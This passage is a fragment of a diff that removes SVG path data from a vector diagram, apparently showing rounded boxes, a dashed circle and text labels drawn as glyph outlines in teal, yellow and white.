698.772724,93.9680933 698.408141,94.19726 C698.043557,94.4264267 697.861266,94.7337183 697.861266,95.119135 C697.861266,95.3899683 697.928974,95.619135 698.064391,95.806635 C698.199807,95.994135 698.418557,96.1764267 698.720641,96.35351 C699.022724,96.5201767 699.606057,96.7649683 700.470641,97.087885 C701.658141,97.5149683 702.460224,97.94726 702.876891,98.38476 C703.293557,98.82226 703.501891,99.3743433 703.501891,100.04101 Z M712.104979,102.75976 L711.792479,101.337885 L711.729979,101.337885 C711.229979,101.962885 710.729979,102.389968 710.229979,102.619135 C709.740395,102.837885 709.125812,102.94726 708.386229,102.94726 C707.396645,102.94726 706.620604,102.692052 706.058104,102.181635 C705.495604,101.671218 705.214354,100.942052 705.214354,99.994135 C705.214354,97.9837183 706.823729,96.9264267 710.042479,96.82226 L711.745604,96.775385 L711.745604,96.150385 C711.745604,95.369135 711.573729,94.79101 711.229979,94.41601 C710.896645,94.04101 710.360187,93.85351 709.620604,93.85351 C708.78727,93.85351 707.844562,94.1087183 706.792479,94.619135 L706.339354,93.462885 C706.828937,93.2024683 707.365395,92.9993433 707.948729,92.85351 C708.532062,92.69726 709.120604,92.619135 709.714354,92.619135 C710.901854,92.619135 711.782062,92.88476 712.354979,93.41601 C712.927895,93.9368433 713.214354,94.7805933 713.214354,95.94726 L713.214354,102.75976 L712.104979,102.75976 Z M708.683104,101.69726 C709.620604,101.69726 710.354979,101.442052 710.886229,100.931635 C711.427895,100.410802 711.698729,99.681635 711.698729,98.744135 L711.698729,97.85351 L710.198729,97.91601 C708.990395,97.9576767 708.120604,98.1451767 707.589354,98.47851 C707.058104,98.8014267 706.792479,99.3170517 706.792479,100.025385 C706.792479,100.567052 706.959145,100.983718 707.292479,101.275385 C707.625812,101.556635 708.089354,101.69726 708.683104,101.69726 Z" id="Shape" fill="#000000" fill-rule="nonzero"></path>
-                <path d="M587.2461,178.08994 L587.2461,178.08994 C587.2461,169.841741 593.932562,163.155263 602.180792,163.155263 L728.122442,163.155263 C732.083379,163.155263 735.882086,164.728734 738.682867,167.529531 C741.483648,170.330327 743.057135,174.129018 743.057135,178.089941 L743.057135,237.826881 C743.057135,246.07508 736.370611,252.761558 728.122443,252.761558 L602.180793,252.761558 C593.932563,252.761558 587.2461,246.07508 587.2461,237.826881 L587.2461,178.08994 Z" id="Path" fill-opacity="0" fill="#000000"></path>
-                <path d="M587.2461,178.08994 L587.2461,178.08994 C587.2461,169.841741 593.932562,163.155263 602.180792,163.155263 L728.122442,163.155263 C732.083379,163.155263 735.882086,164.728734 738.682867,167.529531 C741.483648,170.330327 743.057135,174.129018 743.057135,178.089941 L743.057135,237.826881 C743.057135,246.07508 736.370611,252.761558 728.122443,252.761558 L602.180793,252.761558 C593.932563,252.761558 587.2461,246.07508 587.2461,237.826881 L587.2461,178.08994 Z" id="Path" stroke="#00BFB3" stroke-width="2" stroke-linejoin="round"></path>
-                <path d="M657.6743,194.44948 L657.6743,193.027605 C656.9243,194.121355 655.903467,194.66823 654.6118,194.66823 C654.038883,194.66823 653.502425,194.558855 653.002425,194.340105 C652.512842,194.121355 652.148258,193.845313 651.908675,193.51198 C651.669092,193.178647 651.502425,192.772397 651.408675,192.29323 C651.335758,191.98073 651.2993,191.470313 651.2993,190.76198 L651.2993,184.777605 L652.939925,184.777605 L652.939925,190.13698 C652.939925,190.991147 652.976383,191.569272 653.0493,191.871355 C653.153467,192.298438 653.372217,192.63698 653.70555,192.88698 C654.038883,193.13698 654.450342,193.26198 654.939925,193.26198 C655.429508,193.26198 655.887842,193.13698 656.314925,192.88698 C656.752425,192.626563 657.059717,192.282813 657.2368,191.85573 C657.413883,191.41823 657.502425,190.788022 657.502425,189.965105 L657.502425,184.777605 L659.14305,184.777605 L659.14305,194.44948 L657.6743,194.44948 Z M661.065657,191.558855 L662.690657,191.308855 C662.773991,191.954688 663.023991,192.454688 663.440657,192.808855 C663.857324,193.152605 664.440657,193.32448 665.190657,193.32448 C665.940657,193.32448 666.497949,193.173438 666.862532,192.871355 C667.227116,192.558855 667.409407,192.194272 667.409407,191.777605 C667.409407,191.413022 667.247949,191.121355 666.925032,190.902605 C666.706282,190.756772 666.148991,190.57448 665.253157,190.35573 C664.044824,190.04323 663.206282,189.777605 662.737532,189.558855 C662.279199,189.340105 661.930241,189.038022 661.690657,188.652605 C661.451074,188.256772 661.331282,187.819272 661.331282,187.340105 C661.331282,186.913022 661.430241,186.517188 661.628157,186.152605 C661.826074,185.777605 662.096907,185.470313 662.440657,185.23073 C662.690657,185.04323 663.034407,184.88698 663.471907,184.76198 C663.919824,184.626563 664.393782,184.558855 664.893782,184.558855 C665.654199,184.558855 666.320866,184.66823 666.893782,184.88698 C667.466699,185.10573 667.888574,185.402605 668.159407,185.777605 C668.440657,186.152605 668.633366,186.652605 668.737532,187.277605 L667.128157,187.496355 C667.055241,186.996355 666.841699,186.60573 666.487532,186.32448 C666.143782,186.04323 665.654199,185.902605 665.018782,185.902605 C664.258366,185.902605 663.716699,186.027605 663.393782,186.277605 C663.081282,186.527605 662.925032,186.819272 662.925032,187.152605 C662.925032,187.360938 662.987532,187.553647 663.112532,187.73073 C663.247949,187.907813 663.461491,188.053647 663.753157,188.16823 C663.909407,188.23073 664.388574,188.371355 665.190657,188.590105 C666.357324,188.892188 667.169824,189.142188 667.628157,189.340105 C668.086491,189.538022 668.445866,189.82448 668.706282,190.19948 C668.966699,190.57448 669.096907,191.04323 669.096907,191.60573 C669.096907,192.157813 668.935449,192.673438 668.612532,193.152605 C668.300032,193.631772 667.841699,194.006772 667.237532,194.277605 C666.633366,194.538022 665.951074,194.66823 665.190657,194.66823 C663.940657,194.66823 662.982324,194.407813 662.315657,193.88698 C661.659407,193.366147 661.242741,192.590105 661.065657,191.558855 Z M676.768782,194.44948 L675.128157,194.44948 L675.128157,183.996355 C674.732324,184.371355 674.211491,184.751563 673.565657,185.13698 C672.930241,185.51198 672.357324,185.79323 671.846907,185.98073 L671.846907,184.38698 C672.763574,183.959897 673.565657,183.439063 674.253157,182.82448 C674.940657,182.209897 675.425032,181.616147 675.706282,181.04323 L676.768782,181.04323 L676.768782,194.44948 Z" id="Shape" fill="#3EBEB0" fill-rule="nonzero"></path>
-                <path d="M669.40405,213.79884 L669.40405,213.79884 C669.40405,209.992215 672.489927,206.906323 676.296567,206.906323 L726.007567,206.906323 C727.835631,206.906323 729.588744,207.632489 730.881346,208.925091 C732.173949,210.217694 732.900145,211.970837 732.900145,213.79884 L732.900145,241.368115 C732.900145,245.174756 729.814208,248.260648 726.007567,248.260648 L676.296567,248.260648 C672.489927,248.260648 669.40405,245.174756 669.40405,241.368115 L669.40405,213.79884 Z" id="Path" fill="#FEC514"></path>
-                <path d="M683.0935,227.13098 L683.0935,215.646605 L684.37475,215.646605 L684.37475,216.72473 C684.676833,216.297647 685.015375,215.979938 685.390375,215.771605 C685.775792,215.563272 686.239333,215.459105 686.781,215.459105 C687.489333,215.459105 688.114333,215.641397 688.656,216.00598 C689.197667,216.370563 689.603917,216.886188 689.87475,217.552855 C690.156,218.209105 690.296625,218.933063 690.296625,219.72473 C690.296625,220.578897 690.140375,221.344522 689.827875,222.021605 C689.525792,222.698688 689.083083,223.219522 688.49975,223.584105 C687.926833,223.948688 687.317458,224.13098 686.671625,224.13098 C686.202875,224.13098 685.781,224.032022 685.406,223.834105 C685.041417,223.636188 684.739333,223.386188 684.49975,223.084105 L684.49975,227.13098 L683.0935,227.13098 Z M684.359125,219.834105 C684.359125,220.907022 684.572667,221.698688 684.99975,222.209105 C685.43725,222.719522 685.963292,222.97473 686.577875,222.97473 C687.202875,222.97473 687.739333,222.709105 688.18725,222.177855 C688.635167,221.646605 688.859125,220.828897 688.859125,219.72473 C688.859125,218.66223 688.640375,217.870563 688.202875,217.34973 C687.765375,216.81848 687.244542,216.552855 686.640375,216.552855 C686.046625,216.552855 685.515375,216.834105 685.046625,217.396605 C684.588292,217.959105 684.359125,218.771605 684.359125,219.834105 Z M691.460687,219.78723 C691.460687,218.25598 691.887771,217.120563 692.741937,216.38098 C693.460687,215.766397 694.330479,215.459105 695.351312,215.459105 C696.497146,215.459105 697.429437,215.834105 698.148187,216.584105 C698.877354,217.323688 699.241937,218.354938 699.241937,219.677855 C699.241937,220.740355 699.080479,221.578897 698.757562,222.19348 C698.434646,222.808063 697.965896,223.28723 697.351312,223.63098 C696.747146,223.964313 696.080479,224.13098 695.351312,224.13098 C694.195062,224.13098 693.257562,223.761188 692.538812,223.021605 C691.820062,222.271605 691.460687,221.19348 691.460687,219.78723 Z M692.913812,219.78723 C692.913812,220.84973 693.142979,221.646605 693.601312,222.177855 C694.070062,222.709105 694.653396,222.97473 695.351312,222.97473 C696.049229,222.97473 696.627354,222.709105 697.085687,222.177855 C697.554437,221.646605 697.788812,220.834105 697.788812,219.740355 C697.788812,218.719522 697.554437,217.94348 697.085687,217.41223 C696.627354,216.88098 696.049229,216.615355 695.351312,216.615355 C694.653396,216.615355 694.070062,216.88098 693.601312,217.41223 C693.142979,217.933063 692.913812,218.72473 692.913812,219.78723 Z M700.327875,221.459105 L701.7185,221.240355 C701.791417,221.802855 702.004958,222.235147 702.359125,222.53723 C702.723708,222.828897 703.223708,222.97473 703.859125,222.97473 C704.504958,222.97473 704.984125,222.844522 705.296625,222.584105 C705.609125,222.313272 705.765375,222.000772 705.765375,221.646605 C705.765375,221.334105 705.629958,221.084105 705.359125,220.896605 C705.161208,220.771605 704.682042,220.615355 703.921625,220.427855 C702.890375,220.167438 702.171625,219.94348 701.765375,219.75598 C701.369542,219.558063 701.067458,219.292438 700.859125,218.959105 C700.661208,218.625772 700.56225,218.25598 700.56225,217.84973 C700.56225,217.47473 700.645583,217.13098 700.81225,216.81848 C700.978917,216.50598 701.208083,216.245563 701.49975,216.03723 C701.7185,215.870563 702.015375,215.735147 702.390375,215.63098 C702.775792,215.516397 703.182042,215.459105 703.609125,215.459105 C704.265375,215.459105 704.838292,215.552855 705.327875,215.740355 C705.817458,215.927855 706.176833,216.183063 706.406,216.50598 C706.645583,216.81848 706.81225,217.245563 706.906,217.78723 L705.531,217.97473 C705.4685,217.547647 705.286208,217.214313 704.984125,216.97473 C704.682042,216.735147 704.260167,216.615355 703.7185,216.615355 C703.072667,216.615355 702.609125,216.72473 702.327875,216.94348 C702.057042,217.151813 701.921625,217.396605 701.921625,217.677855 C701.921625,217.865355 701.978917,218.032022 702.0935,218.177855 C702.208083,218.323688 702.385167,218.448688 702.62475,218.552855 C702.770583,218.604938 703.18725,218.72473 703.87475,218.91223 C704.864333,219.172647 705.557042,219.391397 705.952875,219.56848 C706.348708,219.735147 706.656,219.979938 706.87475,220.302855 C707.103917,220.625772 707.2185,221.026813 707.2185,221.50598 C707.2185,221.97473 707.077875,222.417438 706.796625,222.834105 C706.525792,223.240355 706.129958,223.558063 705.609125,223.78723 C705.098708,224.016397 704.520583,224.13098 703.87475,224.13098 C702.791417,224.13098 701.9685,223.907022 701.406,223.459105 C700.8435,223.011188 700.484125,222.344522 700.327875,221.459105 Z M711.952875,222.677855 L712.156,223.927855 C711.760167,224.011188 711.406,224.052855 711.0935,224.052855 C710.583083,224.052855 710.18725,223.97473 709.906,223.81848 C709.62475,223.651813 709.426833,223.438272 709.31225,223.177855 C709.197667,222.907022 709.140375,222.34973 709.140375,221.50598 L709.140375,216.740355 L708.109125,216.740355 L708.109125,215.646605 L709.140375,215.646605 L709.140375,213.584105 L710.546625,212.740355 L710.546625,215.646605 L711.952875,215.646605 L711.952875,216.740355 L710.546625,216.740355 L710.546625,221.584105 C710.546625,221.990355 710.567458,222.250772 710.609125,222.365355 C710.661208,222.479938 710.744542,222.573688 710.859125,222.646605 C710.973708,222.709105 711.135167,222.740355 711.3435,222.740355 C711.49975,222.740355 711.702875,222.719522 711.952875,222.677855 Z M712.773187,221.459105 L714.163812,221.240355 C714.236729,221.802855 714.450271,222.235147 714.804437,222.53723 C715.169021,222.828897 715.669021,222.97473 716.304437,222.97473 C716.950271,222.97473 717.429437,222.844522 717.741937,222.584105 C718.054437,222.313272 718.210687,222.000772 718.210687,221.646605 C718.210687,221.334105 718.075271,221.084105 717.804437,220.896605 C717.606521,220.771605 717.127354,220.615355 716.366937,220.427855 C715.335687,220.167438 714.616937,219.94348 714.210687,219.75598 C713.814854,219.558063 713.512771,219.292438 713.304437,218.959105 C713.106521,218.625772 713.007562,218.25598 713.007562,217.84973 C713.007562,217.47473 713.090896,217.13098 713.257562,216.81848 C713.424229,216.50598 713.653396,216.245563 713.945062,216.03723 C714.163812,215.870563 714.460687,215.735147 714.835687,215.63098 C715.221104,215.516397 715.627354,215.459105 716.054437,215.459105 C716.710687,215.459105 717.283604,215.552855 717.773187,215.740355 C718.262771,215.927855 718.622146,216.183063 718.851312,216.50598 C719.090896,216.81848 719.257562,217.245563 719.351312,217.78723 L717.976312,217.97473 C717.913812,217.547647 717.731521,217.214313 717.429437,216.97473 C717.127354,216.735147 716.705479,216.615355 716.163812,216.615355 C715.517979,216.615355 715.054437,216.72473 714.773187,216.94348 C714.502354,217.151813 714.366937,217.396605 714.366937,217.677855 C714.366937,217.865355 714.424229,218.032022 714.538812,218.177855 C714.653396,218.323688 714.830479,218.448688 715.070062,218.552855 C715.215896,218.604938 715.632562,218.72473 716.320062,218.91223 C717.309646,219.172647 718.002354,219.391397 718.398187,219.56848 C718.794021,219.735147 719.101312,219.979938 719.320062,220.302855 C719.549229,220.625772 719.663812,221.026813 719.663812,221.50598 C719.663812,221.97473 719.523187,222.417438 719.241937,222.834105 C718.971104,223.240355 718.575271,223.558063 718.054437,223.78723 C717.544021,224.016397 716.965896,224.13098 716.320062,224.13098 C715.236729,224.13098 714.413812,223.907022 713.851312,223.459105 C713.288812,223.011188 712.929437,222.344522 712.773187,221.459105 Z" id="Shape" fill="#FFFFFF" fill-rule="nonzero"></path>
-                <path d="M699.42944,241.5841 L699.42944,242.943475 L691.851315,242.943475 C691.840898,242.599725 691.89819,242.2716 692.02319,241.9591 C692.21069,241.448683 692.517982,240.943475 692.945065,240.443475 C693.372148,239.943475 693.986732,239.36535 694.788815,238.7091 C696.028398,237.688267 696.86694,236.880975 697.30444,236.287225 C697.74194,235.683058 697.96069,235.11535 697.96069,234.5841 C697.96069,234.032017 697.762773,233.563267 697.36694,233.17785 C696.971107,232.792433 696.450273,232.599725 695.80444,232.599725 C695.127357,232.599725 694.58569,232.80285 694.17944,233.2091 C693.77319,233.61535 693.570065,234.17785 693.570065,234.8966 L692.11694,234.755975 C692.221107,233.672642 692.596107,232.849725 693.24194,232.287225 C693.887773,231.724725 694.752357,231.443475 695.83569,231.443475 C696.939857,231.443475 697.809648,231.750767 698.445065,232.36535 C699.090898,232.969517 699.413815,233.719517 699.413815,234.61535 C699.413815,235.073683 699.320065,235.526808 699.132565,235.974725 C698.945065,236.412225 698.632565,236.875767 698.195065,237.36535 C697.757565,237.854933 697.033607,238.526808 696.02319,239.380975 C695.17944,240.089308 694.637773,240.573683 694.39819,240.8341 C694.158607,241.0841 693.96069,241.3341 693.80444,241.5841 L699.42944,241.5841 Z M701.499752,242.943475 L701.499752,231.49035 L705.827877,231.49035 C706.588294,231.49035 707.166419,231.526808 707.562252,231.599725 C708.124752,231.693475 708.593502,231.870558 708.968502,232.130975 C709.353919,232.391392 709.661211,232.761183 709.890377,233.24035 C710.129961,233.7091 710.249752,234.229933 710.249752,234.80285 C710.249752,235.7716 709.937252,236.594517 709.312252,237.2716 C708.697669,237.948683 707.577877,238.287225 705.952877,238.287225 L703.015377,238.287225 L703.015377,242.943475 L701.499752,242.943475 Z M703.015377,236.92785 L705.984127,236.92785 C706.963294,236.92785 707.656002,236.745558 708.062252,236.380975 C708.478919,236.016392 708.687252,235.505975 708.687252,234.849725 C708.687252,234.370558 708.562252,233.9591 708.312252,233.61535 C708.072669,233.2716 707.754961,233.047642 707.359127,232.943475 C707.109127,232.870558 706.640377,232.8341 705.952877,232.8341 L703.015377,232.8341 L703.015377,236.92785 Z" id="Shape" fill="#FFFFFF" fill-rule="nonzero"></path>
-                <path d="M597.40405,213.79884 L597.40405,213.79884 C597.40405,209.992215 600.489927,206.906323 604.296567,206.906323 L654.007567,206.906323 C655.835631,206.906323 657.588744,207.632489 658.881346,208.925091 C660.173949,210.217694 660.900145,211.970837 660.900145,213.79884 L660.900145,241.368115 C660.900145,245.174756 657.814208,248.260648 654.007567,248.260648 L604.296567,248.260648 C600.489927,248.260648 597.40405,245.174756 597.40405,241.368115 L597.40405,213.79884 Z" id="Path" fill="#FEC514"></path>
-                <path d="M611.0935,227.13098 L611.0935,215.646605 L612.37475,215.646605 L612.37475,216.72473 C612.676833,216.297647 613.015375,215.979938 613.390375,215.771605 C613.775792,215.563272 614.239333,215.459105 614.781,215.459105 C615.489333,215.459105 616.114333,215.641397 616.656,216.00598 C617.197667,216.370563 617.603917,216.886188 617.87475,217.552855 C618.156,218.209105 618.296625,218.933063 618.296625,219.72473 C618.296625,220.578897 618.140375,221.344522 617.827875,222.021605 C617.525792,222.698688 617.083083,223.219522 616.49975,223.584105 C615.926833,223.948688 615.317458,224.13098 614.671625,224.13098 C614.202875,224.13098 613.781,224.032022 613.406,223.834105 C613.041417,223.636188 612.739333,223.386188 612.49975,223.084105 L612.49975,227.13098 L611.0935,227.13098 Z M612.359125,219.834105 C612.359125,220.907022 612.572667,221.698688 612.99975,222.209105 C613.43725,222.719522 613.963292,222.97473 614.577875,222.97473 C615.202875,222.97473 615.739333,222.709105 616.18725,222.177855 C616.635167,221.646605 616.859125,220.828897 616.859125,219.72473 C616.859125,218.66223 616.640375,217.870563 616.202875,217.34973 C615.765375,216.81848 615.244542,216.552855 614.640375,216.552855 C614.046625,216.552855 613.515375,216.834105 613.046625,217.396605 C612.588292,217.959105 612.359125,218.771605 612.359125,219.834105 Z M619.460687,219.78723 C619.460687,218.25598 619.887771,217.120563 620.741937,216.38098 C621.460687,215.766397 622.330479,215.459105 623.351312,215.459105 C624.497146,215.459105 625.429437,215.834105 626.148187,216.584105 C626.877354,217.323688 627.241937,218.354938 627.241937,219.677855 C627.241937,220.740355 627.080479,221.578897 626.757562,222.19348 C626.434646,222.808063 625.965896,223.28723 625.351312,223.63098 C624.747146,223.964313 624.080479,224.13098 623.351312,224.13098 C622.195062,224.13098 621.257562,223.761188 620.538812,223.021605 C619.820062,222.271605 619.460687,221.19348 619.460687,219.78723 Z M620.913812,219.78723 C620.913812,220.84973 621.142979,221.646605 621.601312,222.177855 C622.070062,222.709105 622.653396,222.97473 623.351312,222.97473 C624.049229,222.97473 624.627354,222.709105 625.085687,222.177855 C625.554437,221.646605 625.788812,220.834105 625.788812,219.740355 C625.788812,218.719522 625.554437,217.94348 625.085687,217.41223 C624.627354,216.88098 624.049229,216.615355 623.351312,216.615355 C622.653396,216.615355 622.070062,216.88098 621.601312,217.41223 C621.142979,217.933063 620.913812,218.72473 620.913812,219.78723 Z M628.327875,221.459105 L629.7185,221.240355 C629.791417,221.802855 630.004958,222.235147 630.359125,222.53723 C630.723708,222.828897 631.223708,222.97473 631.859125,222.97473 C632.504958,222.97473 632.984125,222.844522 633.296625,222.584105 C633.609125,222.313272 633.765375,222.000772 633.765375,221.646605 C633.765375,221.334105 633.629958,221.084105 633.359125,220.896605 C633.161208,220.771605 632.682042,220.615355 631.921625,220.427855 C630.890375,220.167438 630.171625,219.94348 629.765375,219.75598 C629.369542,219.558063 629.067458,219.292438 628.859125,218.959105 C628.661208,218.625772 628.56225,218.25598 628.56225,217.84973 C628.56225,217.47473 628.645583,217.13098 628.81225,216.81848 C628.978917,216.50598 629.208083,216.245563 629.49975,216.03723 C629.7185,215.870563 630.015375,215.735147 630.390375,215.63098 C630.775792,215.516397 631.182042,215.459105 631.609125,215.459105 C632.265375,215.459105 632.838292,215.552855 633.327875,215.740355 C633.817458,215.927855 634.176833,216.183063 634.406,216.50598 C634.645583,216.81848 634.81225,217.245563 634.906,217.78723 L633.531,217.97473 C633.4685,217.547647 633.286208,217.214313 632.984125,216.97473 C632.682042,216.735147 632.260167,216.615355 631.7185,216.615355 C631.072667,216.615355 630.609125,216.72473 630.327875,216.94348 C630.057042,217.151813 629.921625,217.396605 629.921625,217.677855 C629.921625,217.865355 629.978917,218.032022 630.0935,218.177855 C630.208083,218.323688 630.385167,218.448688 630.62475,218.552855 C630.770583,218.604938 631.18725,218.72473 631.87475,218.91223 C632.864333,219.172647 633.557042,219.391397 633.952875,219.56848 C634.348708,219.735147 634.656,219.979938 634.87475,220.302855 C635.103917,220.625772 635.2185,221.026813 635.2185,221.50598 C635.2185,221.97473 635.077875,222.417438 634.796625,222.834105 C634.525792,223.240355 634.129958,223.558063 633.609125,223.78723 C633.098708,224.016397 632.520583,224.13098 631.87475,224.13098 C630.791417,224.13098 629.9685,223.907022 629.406,223.459105 C628.8435,223.011188 628.484125,222.344522 628.327875,221.459105 Z M639.952875,222.677855 L640.156,223.927855 C639.760167,224.011188 639.406,224.052855 639.0935,224.052855 C638.583083,224.052855 638.18725,223.97473 637.906,223.81848 C637.62475,223.651813 637.426833,223.438272 637.31225,223.177855 C637.197667,222.907022 637.140375,222.34973 637.140375,221.50598 L637.140375,216.740355 L636.109125,216.740355 L636.109125,215.646605 L637.140375,215.646605 L637.140375,213.584105 L638.546625,212.740355 L638.546625,215.646605 L639.952875,215.646605 L639.952875,216.740355 L638.546625,216.740355 L638.546625,221.584105 C638.546625,221.990355 638.567458,222.250772 638.609125,222.365355 C638.661208,222.479938 638.744542,222.573688 638.859125,222.646605 C638.973708,222.709105 639.135167,222.740355 639.3435,222.740355 C639.49975,222.740355 639.702875,222.719522 639.952875,222.677855 Z M640.773187,221.459105 L642.163812,221.240355 C642.236729,221.802855 642.450271,222.235147 642.804437,222.53723 C643.169021,222.828897 643.669021,222.97473 644.304437,222.97473 C644.950271,222.97473 645.429437,222.844522 645.741937,222.584105 C646.054437,222.313272 646.210687,222.000772 646.210687,221.646605 C646.210687,221.334105 646.075271,221.084105 645.804437,220.896605 C645.606521,220.771605 645.127354,220.615355 644.366937,220.427855 C643.335687,220.167438 642.616937,219.94348 642.210687,219.75598 C641.814854,219.558063 641.512771,219.292438 641.304437,218.959105 C641.106521,218.625772 641.007562,218.25598 641.007562,217.84973 C641.007562,217.47473 641.090896,217.13098 641.257562,216.81848 C641.424229,216.50598 641.653396,216.245563 641.945062,216.03723 C642.163812,215.870563 642.460687,215.735147 642.835687,215.63098 C643.221104,215.516397 643.627354,215.459105 644.054437,215.459105 C644.710687,215.459105 645.283604,215.552855 645.773187,215.740355 C646.262771,215.927855 646.622146,216.183063 646.851312,216.50598 C647.090896,216.81848 647.257562,217.245563 647.351312,217.78723 L645.976312,217.97473 C645.913812,217.547647 645.731521,217.214313 645.429437,216.97473 C645.127354,216.735147 644.705479,216.615355 644.163812,216.615355 C643.517979,216.615355 643.054437,216.72473 642.773187,216.94348 C642.502354,217.151813 642.366937,217.396605 642.366937,217.677855 C642.366937,217.865355 642.424229,218.032022 642.538812,218.177855 C642.653396,218.323688 642.830479,218.448688 643.070062,218.552855 C643.215896,218.604938 643.632562,218.72473 644.320062,218.91223 C645.309646,219.172647 646.002354,219.391397 646.398187,219.56848 C646.794021,219.735147 647.101312,219.979938 647.320062,220.302855 C647.549229,220.625772 647.663812,221.026813 647.663812,221.50598 C647.663812,221.97473 647.523187,222.417438 647.241937,222.834105 C646.971104,223.240355 646.575271,223.558063 646.054437,223.78723 C645.544021,224.016397 644.965896,224.13098 644.320062,224.13098 C643.236729,224.13098 642.413812,223.907022 641.851312,223.459105 C641.288812,223.011188 640.929437,222.344522 640.773187,221.459105 Z" id="Shape" fill="#FFFFFF" fill-rule="nonzero"></path>
-                <path d="M625.3357,242.94348 L623.92945,242.94348 L623.92945,233.97473 C623.5857,234.297647 623.137783,234.620563 622.5857,234.94348 C622.044033,235.266397 621.55445,235.511188 621.11695,235.677855 L621.11695,234.31848 C621.8982,233.94348 622.580492,233.495563 623.163825,232.97473 C623.757575,232.44348 624.17945,231.933063 624.42945,231.44348 L625.3357,231.44348 L625.3357,242.94348 Z M629.499762,242.94348 L629.499762,231.490355 L633.827887,231.490355 C634.588304,231.490355 635.166429,231.526813 635.562262,231.59973 C636.124762,231.69348 636.593512,231.870563 636.968512,232.13098 C637.353929,232.391397 637.661221,232.761188 637.890387,233.240355 C638.129971,233.709105 638.249762,234.229938 638.249762,234.802855 C638.249762,235.771605 637.937262,236.594522 637.312262,237.271605 C636.697679,237.948688 635.577887,238.28723 633.952887,238.28723 L631.015387,238.28723 L631.015387,242.94348 L629.499762,242.94348 Z M631.015387,236.927855 L633.984137,236.927855 C634.963304,236.927855 635.656012,236.745563 636.062262,236.38098 C636.478929,236.016397 636.687262,235.50598 636.687262,234.84973 C636.687262,234.370563 636.562262,233.959105 636.312262,233.615355 C636.072679,233.271605 635.754971,233.047647 635.359137,232.94348 C635.109137,232.870563 634.640387,232.834105 633.952887,232.834105 L631.015387,232.834105 L631.015387,236.927855 Z" id="Shape" fill="#FFFFFF" fill-rule="nonzero"></path>
-                <path d="M524.154844,512.0395 L524.154844,512.0395 C524.154844,434.0847 588.830326,370.88987 668.61158,370.88987 L668.61158,370.88987 C706.923836,370.88987 743.667,385.760933 770.75788,412.231636 C797.848761,438.702309 813.068244,474.604256 813.068244,512.039496 L813.068244,512.039496 C813.068244,589.994266 748.392768,653.189096 668.611574,653.189096 L668.611574,653.189096 C588.830324,653.189096 524.154844,589.994272 524.154844,512.039496 L524.154844,512.0395 Z" id="Path" fill-opacity="0" fill="#000000"></path>
-                <path d="M524.154844,512.0395 L524.154844,512.0395 C524.154844,434.0847 588.830326,370.88987 668.61158,370.88987 L668.61158,370.88987 C706.923836,370.88987 743.667,385.760933 770.75788,412.231636 C797.848761,438.702309 813.068244,474.604256 813.068244,512.039496 L813.068244,512.039496 C813.068244,589.994266 748.392768,653.189096 668.611574,653.189096 L668.611574,653.189096 C588.830324,653.189096 524.154844,589.994272 524.154844,512.039496 L524.154844,512.0395 Z" id="Path" stroke="#434753" stroke-linejoin="round" stroke-dasharray="8,3"></path>
-                <path d="M590.70557,550.2439 L590.70557,550.2439 C590.70557,541.99567 597.392032,535.309208 605.640262,535.309208 L731.581912,535.309208 C735.542849,535.309208 739.341494,536.882633 742.142337,539.683476 C744.943118,542.484257 746.516605,546.282963 746.516605,550.243901 L746.516605,609.980778 C746.516605,618.229008 739.830081,624.91547 731.581913,624.91547 L605.640263,624.91547 C597.392033,624.91547 590.70557,618.229007 590.70557,609.980778 L590.70557,550.2439 Z" id="Path" fill-opacity="0" fill="#000000"></path>
-                <path d="M590.70557,550.2439 L590.70557,550.2439 C590.70557,541.99567 597.392032,535.309208 605.640262,535.309208 L731.581912,535.309208 C735.542849,535.309208 739.341494,536.882633 742.142337,539.683476 C744.943118,542.484257 746.516605,546.282963 746.516605,550.243901 L746.516605,609.980778 C746.516605,618.229008 739.830081,624.91547 731.581913,624.91547 L605.640263,624.91547 C597.392033,624.91547 590.70557,618.229007 590.70557,609.980778 L590.70557,550.2439 Z" id="Path" stroke="#00BFB3" stroke-width="2" stroke-linejoin="round"></path>
-                <path d="M658.01184,565.4159 C657.397257,565.926317 656.808715,566.2909 656.246215,566.50965 C655.694132,566.717983 655.095173,566.82215 654.44934,566.82215 C653.38684,566.82215 652.569132,566.561733 651.996215,566.0409 C651.423298,565.520067 651.13684,564.858608 651.13684,564.056525 C651.13684,563.577358 651.246215,563.145067 651.464965,562.75965 C651.683715,562.363817 651.964965,562.051317 652.308715,561.82215 C652.662882,561.582567 653.058715,561.400275 653.496215,561.275275 C653.808715,561.191942 654.29309,561.108608 654.94934,561.025275 C656.272257,560.869025 657.246215,560.681525 657.871215,560.462775 C657.881632,560.233608 657.88684,560.092983 657.88684,560.0409 C657.88684,559.374233 657.73059,558.900275 657.41809,558.619025 C657.001423,558.254442 656.376423,558.07215 655.54309,558.07215 C654.772257,558.07215 654.204548,558.207567 653.839965,558.4784 C653.475382,558.749233 653.204548,559.223192 653.027465,559.900275 L651.41809,559.681525 C651.563923,559.004442 651.803507,558.457567 652.13684,558.0409 C652.470173,557.613817 652.954548,557.285692 653.589965,557.056525 C654.225382,556.827358 654.954548,556.712775 655.777465,556.712775 C656.610798,556.712775 657.282673,556.811733 657.79309,557.00965 C658.313923,557.19715 658.694132,557.441942 658.933715,557.744025 C659.183715,558.035692 659.35559,558.405483 659.44934,558.8534 C659.501423,559.13465 659.527465,559.639858 659.527465,560.369025 L659.527465,562.556525 C659.527465,564.077358 659.563923,565.0409 659.63684,565.44715 C659.709757,565.842983 659.845173,566.2284 660.04309,566.6034 L658.339965,566.6034 C658.162882,566.25965 658.053507,565.863817 658.01184,565.4159 Z M657.871215,561.744025 C657.277465,561.994025 656.38684,562.202358 655.19934,562.369025 C654.522257,562.462775 654.04309,562.57215 653.76184,562.69715 C653.48059,562.82215 653.26184,562.999233 653.10559,563.2284 C652.959757,563.457567 652.88684,563.717983 652.88684,564.00965 C652.88684,564.44715 653.053507,564.811733 653.38684,565.1034 C653.720173,565.395067 654.204548,565.5409 654.839965,565.5409 C655.464965,565.5409 656.022257,565.405483 656.51184,565.13465 C657.01184,564.8534 657.376423,564.473192 657.60559,563.994025 C657.782673,563.619025 657.871215,563.07215 657.871215,562.3534 L657.871215,561.744025 Z M662.075072,566.6034 L662.075072,556.931525 L663.543822,556.931525 L663.543822,558.2909 C663.845906,557.811733 664.246947,557.431525 664.746947,557.150275 C665.257364,556.858608 665.830281,556.712775 666.465697,556.712775 C667.184447,556.712775 667.772989,556.863817 668.231322,557.1659 C668.689656,557.457567 669.012572,557.869025 669.200072,558.400275 C669.970906,557.275275 670.965697,556.712775 672.184447,556.712775 C673.153197,556.712775 673.892781,556.9784 